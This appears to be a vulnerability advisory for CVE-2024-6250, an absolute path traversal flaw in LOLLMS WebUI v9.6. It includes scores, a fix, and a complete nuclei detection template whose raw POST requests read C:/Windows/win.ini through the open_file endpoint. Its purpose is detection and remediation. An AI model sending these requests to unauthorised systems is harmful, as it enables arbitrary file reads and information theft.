LOLLMS WebUI - Absolute Path Traversal

highseverity

7.5CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

An absolute path traversal vulnerability exists in parisneo/lollms-webui v9.6, specifically in the open_file endpoint of lollms_advanced.py. The sanitize_path function with allow_absolute_path=True allows an attacker to access arbitrary files and directories on a Windows system. This vulnerability can be exploited to read any file and list arbitrary directories on the affected system.

Impact

Attackers can read arbitrary files and list directories, leading to information disclosure and potential further exploitation.

Fix

Update to the latest version where the vulnerability is fixed or modify the `sanitize_path` function to disallow absolute paths.

How to confirm it

Send: POST /open_file ; POST /api/open_file
Positive when: contains_all(body, "bit app support", "[fonts]", "[extensions]") and contains(content_type, "text/plain") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-6250 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-6250

info:
  name: LOLLMS WebUI - Absolute Path Traversal
  author: ritikchaddha
  severity: high
  description: |
    An absolute path traversal vulnerability exists in parisneo/lollms-webui v9.6, specifically in the open_file endpoint of lollms_advanced.py. The sanitize_path function with allow_absolute_path=True allows an attacker to access arbitrary files and directories on a Windows system. This vulnerability can be exploited to read any file and list arbitrary directories on the affected system.
  impact: |
    Attackers can read arbitrary files and list directories, leading to information disclosure and potential further exploitation.
  remediation: |
    Update to the latest version where the vulnerability is fixed or modify the `sanitize_path` function to disallow absolute paths.
  reference:
    - https://huntr.com/bounties/11a8bf9d-16f3-49b3-b5fc-ad36d8993c73
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6250
    - https://github.com/parisneo/lollms-webui
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-6250
    epss-score: 0.01941
    epss-percentile: 0.80297
    cwe-id: CWE-36
  metadata:
    verified: false
    max-request: 2
    vendor: lollms
    product: lollms_web_ui
  tags: cve,cve2024,lollms,lfi,traversal,ai,vkev,vuln

http:
  - raw:
      - |
        POST /open_file HTTP/1.1
        Host: {{Hostname}}

        {"path": "C:/Windows/win.ini"}

      - |
        POST /api/open_file HTTP/1.1
        Host: {{Hostname}}

        {"path": "C:/Windows/win.ini"}

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "bit app support", "[fonts]", "[extensions]")'
          - 'contains(content_type, "text/plain")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from